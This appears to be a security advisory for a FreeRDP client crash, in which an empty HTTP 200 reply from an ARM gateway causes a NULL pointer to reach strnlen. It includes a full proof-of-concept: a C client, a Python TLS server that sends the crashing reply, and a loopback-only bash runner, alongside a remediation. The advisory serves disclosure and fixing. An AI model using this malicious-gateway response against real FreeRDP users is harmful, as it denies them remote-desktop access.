All vulnerabilities
GHSA-qjwp-c855-hc69

Empty ARM HTTP 200 response crashes AAD-enabled FreeRDP clients

FreeRDP
CVSS
5.9Medium
ExploitationNo known exploitationNot in CISA KEV, which does not prove it is unexploitedCISA KEV
Exploit odds (EPSS)No scoreNo FIRST EPSS score in this snapshot yet
Fixed in3.32.0Fixed versionGitHub
Published29 Sep 2026Updated 29 Sep 2026GitHub

What fixes it

A fixed version on one release line is not the upgrade target for every line. Check your exact version and any vendor backports.

Description

An AAD-enabled FreeRDP client using ARM gateway transport crashes when its configured ARM endpoint returns HTTP/1.1 200 OK with an empty body. The HTTP response parser represents a zero-length body with BodyLength == 0 and BodyContent == NULL. The status-200 ARM handler passes that pointer to strnlen without a NULL check.

The issue requires WITH_AAD=ON, ARM transport configuration, and control of the configured ARM endpoint or another TLS position already accepted by the client. It does not bypass TLS. The demonstrated result is availability loss in the connecting client process only; no confidentiality loss, integrity loss, or code execution was observed.

The vulnerable sequence in FreeRDP 3.31.1 is:

const size_t len = http_response_get_body_length(response);
const char* msg = http_response_get_body(response);
const size_t alen = strnlen(msg, len + 1);

For a zero-length body, this becomes strnlen(NULL, 1). The production path is freerdp_connect -> rdp_client_connect -> arm_resolve_endpoint -> arm_handle_request -> arm_handle_request_ok.

The vulnerable handler first appeared in 3.0.0-beta4 during an ARM handling restructure. The preceding beta3 allocated a non-NULL len + 1 buffer before parsing. Stable 3.0.0, 3.31.1, and the inspected current master source retain the unsafe operation. No public fix or exact duplicate was found.

Impact

A malicious or compromised configured ARM gateway can terminate affected FreeRDP client processes while they resolve an Azure Virtual Desktop connection. The crash is deterministic for the tested response. Users can restart the client, but a gateway that repeats the reply can prevent connection establishment.

The CVSS attack complexity is High because an attacker must control a configured trusted endpoint, possess a certificate the client accepts, or already occupy a trusted interception position. The attack requires no FreeRDP-local privileges or user interaction after the client starts the configured connection.

Validation

The real product request path was exercised against a controlled local TLS endpoint. The server first returned a valid AAD well-known document, received FreeRDP's bearer-authenticated POST /api/arm/v2/connections, and then returned one of two responses:

  • Empty HTTP 200: ASan/UBSan reported a NULL argument and SEGV at arm_handle_request_ok; an unsanitized RelWithDebInfo build independently exited with SIGSEGV.
  • Valid nonempty ARM JSON: FreeRDP extracted the gateway URL, returned normally from ARM parsing without a sanitizer finding, and failed later only because the downstream target was deliberately unreachable.

This control isolates the empty successful response as the crash trigger.

Reproduction

The attached PoC expects a matching FreeRDP 3.31.1 source checkout and CMake build with WITH_AAD=ON and shared libraries enabled:

git clone https://github.com/FreeRDP/FreeRDP.git freerdp-src
git -C freerdp-src checkout 3.31.1
cmake -S freerdp-src -B freerdp-build \
  -DCMAKE_BUILD_TYPE=RelWithDebInfo \
  -DBUILD_SHARED_LIBS=ON \
  -DWITH_AAD=ON
cmake --build freerdp-build --target freerdp --parallel 4

FREERDP_SOURCE="$PWD/freerdp-src" \
FREERDP_BUILD="$PWD/freerdp-build" \
./poc/run.sh

The runner uses loopback only, creates an ephemeral certificate and test binary, runs both cases, and deletes the certificate, private key, binary, transcripts, and logs on exit. It intentionally crashes the test client process and should be run only on a disposable local system.

Suggested remediation

Check msg for NULL in arm_handle_request_ok before calling strnlen, return a normal connection error for a missing body, and add a regression test for an HTTP 200 response with Content-Length: 0. The valid nonempty JSON case should remain a control.

Complete PoC files

<!-- BEGIN FILE: poc/arm_product_client.c -->

#include <freerdp/freerdp.h>
#include <freerdp/settings.h>
#include <winpr/wlog.h>

#include <errno.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

static int set_string(rdpSettings* settings, FreeRDP_Settings_Keys_String key, const char* value)
{
	if (!freerdp_settings_set_string(settings, key, value))
	{
		fprintf(stderr, "failed to set string key %u\n", (unsigned)key);
		return 0;
	}
	return 1;
}

static int set_bool(rdpSettings* settings, FreeRDP_Settings_Keys_Bool key, BOOL value)
{
	if (!freerdp_settings_set_bool(settings, key, value))
	{
		fprintf(stderr, "failed to set bool key %u\n", (unsigned)key);
		return 0;
	}
	return 1;
}

int main(int argc, char** argv)
{
	if (argc != 2)
	{
		fprintf(stderr, "usage: %s AAD_HOST:PORT\n", argv[0]);
		return 64;
	}

	const char* colon = strrchr(argv[1], ':');
	if (!colon || (colon == argv[1]) || (colon[1] == '\0'))
	{
		fprintf(stderr, "AAD endpoint must be HOST:PORT\n");
		return 64;
	}

	errno = 0;
	char* end = NULL;
	const unsigned long parsed_port = strtoul(colon + 1, &end, 10);
	if (errno || !end || (*end != '\0') || (parsed_port == 0) || (parsed_port > UINT16_MAX))
	{
		fprintf(stderr, "invalid endpoint port\n");
		return 64;
	}

	const size_t host_len = (size_t)(colon - argv[1]);
	char* gateway_host = strndup(argv[1], host_len);
	if (!gateway_host)
		return 65;

	freerdp* instance = freerdp_new();
	if (!instance)
	{
		free(gateway_host);
		return 65;
	}
	if (!freerdp_context_new(instance))
	{
		freerdp_free(instance);
		free(gateway_host);
		return 66;
	}

	rdpSettings* settings = instance->context->settings;
	const BYTE load_balance_info[] = "full address:s:unreachable.invalid";
	int ok = 1;
	ok &= set_string(settings, FreeRDP_ServerHostname, "unreachable.invalid");
	ok &= freerdp_settings_set_uint32(settings, FreeRDP_ServerPort, 3389);
	ok &= set_string(settings, FreeRDP_GatewayHostname, gateway_host);
	ok &= freerdp_settings_set_uint32(settings, FreeRDP_GatewayPort, (UINT32)parsed_port);
	ok &= set_bool(settings, FreeRDP_GatewayEnabled, TRUE);
	ok &= set_bool(settings, FreeRDP_GatewayArmTransport, TRUE);
	ok &= set_bool(settings, FreeRDP_GatewayRpcTransport, FALSE);
	ok &= set_bool(settings, FreeRDP_GatewayHttpTransport, FALSE);
	ok &= set_bool(settings, FreeRDP_GatewayHttpUseWebsockets, FALSE);
	ok &= set_bool(settings, FreeRDP_AadSecurity, TRUE);
	ok &= set_bool(settings, FreeRDP_IgnoreCertificate, TRUE);
	ok &= set_string(settings, FreeRDP_GatewayAzureActiveDirectory, argv[1]);
	ok &= set_string(settings, FreeRDP_GatewayHttpExtAuthBearer, "test-access-token");
	ok &= set_string(settings, FreeRDP_RemoteApplicationProgram, "||test-app");
	ok &= freerdp_settings_set_pointer_len(settings, FreeRDP_LoadBalanceInfo, load_balance_info,
	                                       sizeof(load_balance_info) - 1);
	ok &= freerdp_settings_set_uint32(settings, FreeRDP_TcpConnectTimeout, 1000);
	free(gateway_host);
	if (!ok)
	{
		freerdp_context_free(instance);
		freerdp_free(instance);
		return 67;
	}

	WLog_SetLogLevel(WLog_GetRoot(), WLOG_DEBUG);
	fprintf(stderr, "CLIENT_MARKER before_freerdp_connect\n");
	const BOOL connected = freerdp_connect(instance);
	fprintf(stderr, "CLIENT_MARKER after_freerdp_connect connected=%d last_error=0x%08" PRIx32 "\n",
	        connected, freerdp_get_last_error(instance->context));
	if (connected)
		freerdp_disconnect(instance);
	freerdp_context_free(instance);
	freerdp_free(instance);
	return connected ? 0 : 1;
}

<!-- END FILE: poc/arm_product_client.c -->

<!-- BEGIN FILE: poc/arm_https_server.py -->

#!/usr/bin/env python3
import argparse
import base64
import json
import socket
import ssl
import struct
from pathlib import Path


def read_request(conn):
    data = b""
    while b"\r\n\r\n" not in data:
        block = conn.recv(4096)
        if not block:
            break
        data += block
    head, _, body = data.partition(b"\r\n\r\n")
    content_length = 0
    for line in head.split(b"\r\n")[1:]:
        if line.lower().startswith(b"content-length:"):
            content_length = int(line.split(b":", 1)[1].strip())
    while len(body) < content_length:
        block = conn.recv(4096)
        if not block:
            break
        body += block
    return head, body[:content_length]


def response(body):
    return (
        b"HTTP/1.1 200 OK\r\n"
        b"Content-Type: application/json\r\n"
        + f"Content-Length: {len(body)}\r\n".encode()
        + b"Connection: close\r\n\r\n"
        + body
    )


def valid_arm_body(cert_path):
    pem = Path(cert_path).read_text(encoding="ascii")
    der = ssl.PEM_cert_to_DER_cert(pem)
    target_cert = struct.pack("<III", 32, 1, len(der)) + der
    inner = base64.b64encode(target_cert).decode("ascii").encode("utf-16le")
    wrapped = base64.b64encode(inner).decode("ascii")
    return json.dumps(
        {
            "gatewayLocation": "https://gateway.example.test/",
            "redirectedServerCert": wrapped,
        },
        separators=(",", ":"),
    ).encode("ascii")


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("--mode", choices=("empty", "valid"), required=True)
    parser.add_argument("--cert", required=True)
    parser.add_argument("--key", required=True)
    parser.add_argument("--transcript", required=True)
    parser.add_argument("--port", type=int, required=True)
    args = parser.parse_args()

    context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
    context.load_cert_chain(args.cert, args.key)
    events = []
    with socket.socket() as listener:
        listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        listener.bind(("127.0.0.1", args.port))
        listener.listen(4)
        print(f"SERVER_MARKER listening mode={args.mode} port={args.port}", flush=True)
        for index in range(2):
            raw, peer = listener.accept()
            with context.wrap_socket(raw, server_side=True) as conn:
                head, body = read_request(conn)
                request_line = head.split(b"\r\n", 1)[0].decode("ascii", "replace")
                events.append(
                    {
                        "index": index + 1,
                        "peer": list(peer),
                        "request_line": request_line,
                        "headers": head.decode("utf-8", "replace"),
                        "body": body.decode("utf-8", "replace"),
                        "body_length": len(body),
                    }
                )
                if index == 0:
                    payload = b"{}"
                elif args.mode == "valid":
                    payload = valid_arm_body(args.cert)
                else:
                    payload = b""
                conn.sendall(response(payload))
                print(
                    f"SERVER_MARKER request={index + 1} line={request_line!r} "
                    f"request_body={len(body)} response_body={len(payload)}",
                    flush=True,
                )
    Path(args.transcript).write_text(json.dumps(events, indent=2) + "\n", encoding="utf-8")


if __name__ == "__main__":
    main()

<!-- END FILE: poc/arm_https_server.py -->

<!-- BEGIN FILE: poc/run.sh -->

#!/usr/bin/env bash
set -euo pipefail

: "${FREERDP_SOURCE:?set FREERDP_SOURCE to a FreeRDP source checkout}"
: "${FREERDP_BUILD:?set FREERDP_BUILD to its AAD-enabled build directory}"

expected_revision="${FREERDP_EXPECTED_REVISION:-63b948ca5cb94307fd5444ee6e73927a41ccdab4}"
actual_revision=$(git -c safe.directory="$FREERDP_SOURCE" -C "$FREERDP_SOURCE" rev-parse HEAD)
if [[ "$actual_revision" != "$expected_revision" ]]; then
    printf 'revision mismatch: expected %s, got %s\n' "$expected_revision" "$actual_revision" >&2
    exit 2
fi

cache="$FREERDP_BUILD/CMakeCache.txt"
if [[ ! -f "$cache" ]] || ! grep -qx 'WITH_AAD:BOOL=ON' "$cache"; then
    printf 'FREERDP_BUILD must be a CMake build with WITH_AAD=ON\n' >&2
    exit 2
fi
if ! grep -Fqx "CMAKE_HOME_DIRECTORY:INTERNAL=$FREERDP_SOURCE" "$cache"; then
    printf 'FREERDP_BUILD does not match FREERDP_SOURCE\n' >&2
    exit 2
fi

script_dir=$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)
work=$(mktemp -d)
server_pid=''
cleanup() {
    if [[ -n "$server_pid" ]] && kill -0 "$server_pid" 2>/dev/null; then
        kill "$server_pid" 2>/dev/null || true
        wait "$server_pid" 2>/dev/null || true
    fi
    rm -rf "$work"
    printf 'CLEANUP removed generated certificate, key, binary, and logs\n'
}
trap cleanup EXIT

port="${ARM_TEST_PORT:-18443}"
openssl req -x509 -newkey rsa:2048 -nodes -sha256 -days 1 \
    -subj '/CN=127.0.0.1' -addext 'subjectAltName=IP:127.0.0.1,DNS:localhost' \
    -keyout "$work/server.key" -out "$work/server.crt" >/dev/null 2>&1

read -r -a compiler_flags <<< "${POC_CFLAGS:--O2 -g}"
cc "${compiler_flags[@]}" \
    -I"$FREERDP_SOURCE/include" \
    -I"$FREERDP_SOURCE/winpr/include" \
    -I"$FREERDP_BUILD/include" \
    -I"$FREERDP_BUILD/winpr/include" \
    "$script_dir/arm_product_client.c" \
    -L"$FREERDP_BUILD/libfreerdp" \
    -L"$FREERDP_BUILD/winpr/libwinpr" \
    -lfreerdp3 -lwinpr3 -o "$work/arm_product_client"

library_path="$FREERDP_BUILD/libfreerdp:$FREERDP_BUILD/winpr/libwinpr"
if [[ -n "${FREERDP_EXTRA_LD_LIBRARY_PATH:-}" ]]; then
    library_path="$library_path:$FREERDP_EXTRA_LD_LIBRARY_PATH"
fi

run_case() {
    local mode=$1
    local server_log="$work/$mode-server.log"
    local client_log="$work/$mode-client.log"
    local transcript="$work/$mode-transcript.json"

    timeout 20s python3 "$script_dir/arm_https_server.py" \
        --mode "$mode" --cert "$work/server.crt" --key "$work/server.key" \
        --transcript "$transcript" --port "$port" >"$server_log" 2>&1 &
    server_pid=$!
    for _ in $(seq 1 50); do
        grep -q 'SERVER_MARKER listening' "$server_log" 2>/dev/null && break
        sleep 0.1
    done

    set +e
    env -u http_proxy -u https_proxy -u HTTP_PROXY -u HTTPS_PROXY -u ALL_PROXY -u all_proxy \
        LD_LIBRARY_PATH="$library_path" SSL_CERT_FILE="$work/server.crt" WLOG_LEVEL=DEBUG \
        ASAN_OPTIONS=abort_on_error=1:detect_leaks=0:symbolize=1 \
        timeout 15s "$work/arm_product_client" "127.0.0.1:$port" >"$client_log" 2>&1
    client_status=$?
    wait "$server_pid"
    server_status=$?
    set -e
    server_pid=''

    if [[ "$server_status" -ne 0 ]]; then
        printf '%s server failed with status %s\n' "$mode" "$server_status" >&2
        cat "$server_log" >&2
        exit 1
    fi

    printf '%s client_exit=%s server_exit=%s\n' "${mode^^}" "$client_status" "$server_status"
    grep 'SERVER_MARKER request=' "$server_log"
    if [[ "$mode" == valid ]]; then
        if [[ "$client_status" -ne 1 ]] || ! grep -q 'CLIENT_MARKER after_freerdp_connect' "$client_log"; then
            printf 'valid control did not return normally\n' >&2
            cat "$client_log" >&2
            exit 1
        fi
        if grep -Eq 'AddressSanitizer|runtime error:|DEADLYSIGNAL' "$client_log"; then
            printf 'valid control unexpectedly triggered a sanitizer\n' >&2
            exit 1
        fi
        grep -E 'extracted target url|CLIENT_MARKER after_freerdp_connect' "$client_log"
    else
        if [[ "$client_status" -ne 134 && "$client_status" -ne 139 ]]; then
            printf 'empty response did not terminate the client as expected\n' >&2
            cat "$client_log" >&2
            exit 1
        fi
        if grep -q 'AddressSanitizer' "$client_log"; then
            grep -E 'runtime error: null pointer|AddressSanitizer: SEGV|arm_handle_request_ok|arm_resolve_endpoint|freerdp_connect' "$client_log" | head -12
        else
            grep 'CLIENT_MARKER before_freerdp_connect' "$client_log"
            printf 'release build terminated by SIGSEGV\n'
        fi
    fi
}

printf 'REVISION %s\n' "$actual_revision"
run_case valid
run_case empty
printf 'RESULT vulnerable: valid ARM JSON returned normally; empty HTTP 200 terminated the client\n'

<!-- END FILE: poc/run.sh -->

Text from GitHub Advisory Database

Affected versions 1

  • FreeRDP, c>= 3.0.0-beta4, <= 3.31.1GitHub